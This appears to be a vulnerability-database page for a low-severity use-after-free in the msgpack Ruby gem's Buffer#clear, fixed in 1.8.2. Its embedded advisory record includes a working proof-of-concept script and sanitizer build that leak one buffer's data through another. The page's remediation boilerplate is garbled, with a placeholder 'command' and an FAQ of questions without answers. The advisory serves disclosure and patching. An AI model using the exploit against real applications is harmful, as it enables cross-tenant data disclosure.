CVE-2026-54522: MessagePack :Buffer#clear Use-After-Free That Enables Cross-Buffer Vulnerability
LOWCVE-2026-54522 is a LOW :buffer#clear use-after-free that enables cross-buffer vulnerability (CWE-416: Use After Free) affecting MessagePack libraries in the RubyGems ecosystem. The issue involves :buffer#clear use-after-free that enables cross-buffer disclosure. Remediation is available by upgrading affected packages to version 1.8.2.
CVE-2026-54522 at a Glance
How to Fix CVE-2026-54522
To remediate this vulnerability, upgrade all affected MessagePack dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade msgpack to 1.8.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for msgpack
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-54522, inspect your project dependencies for MessagePack:
inspect dependencies for msgpack
Analyze the terminal output to locate any version of MessagePack in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.8.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-416: Use After Free, where the product reuses or references memory after it has been freed. at some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. In MessagePack, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54522 Affected MessagePack Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
msgpack
|
RubyGems |
< 1.8.2
|
1.8.2
|
References
Frequently Asked Questions
What is CVE-2026-54522?
Which MessagePack versions are affected?
What version fixes CVE-2026-54522?
Is msgpack affected?
What CWE is associated with CVE-2026-54522?
How can I check RubyGems dependencies for CVE-2026-54522?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4mrv-5p47-p938",
"modified" : "2026-07-30T16:33:12Z",
"published" : "2026-07-30T16:33:12Z",
"aliases" : [ "CVE-2026-54522" ],
"summary" : "MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure",
"details" : "### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b->rmem_last`, a pointer into the already-freed page.\n- A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat > poc.rb <<'RUBY'\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)\nb1.clear\nb1.write('C' * 128)\nsecret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor = b2.read_all\nputs 'b1_first64:' + leaked.byteslice(0, 64)\nputs 'b2_donor64:' + donor.byteslice(200, 64)\nputs 'leaked_is_C:' + (leaked == 'C' * 128).to_s\nputs 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat > Dockerfile <<'DOCKER'\nFROM ruby:3.3-bookworm\nRUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \\\n cd msgpack-1.8.1/ext/msgpack && \\\n MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \\\n make -j\"$(nproc)\" && cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "RubyGems",
"name" : "msgpack"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.8.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.8.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
}, {
"type" : "WEB",
"url" : "https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/msgpack/msgpack-ruby"
}, {
"type" : "WEB",
"url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml"
}, {
"type" : "WEB",
"url" : "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-416" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-30T16:33:12Z",
"nvd_published_at" : null
}
}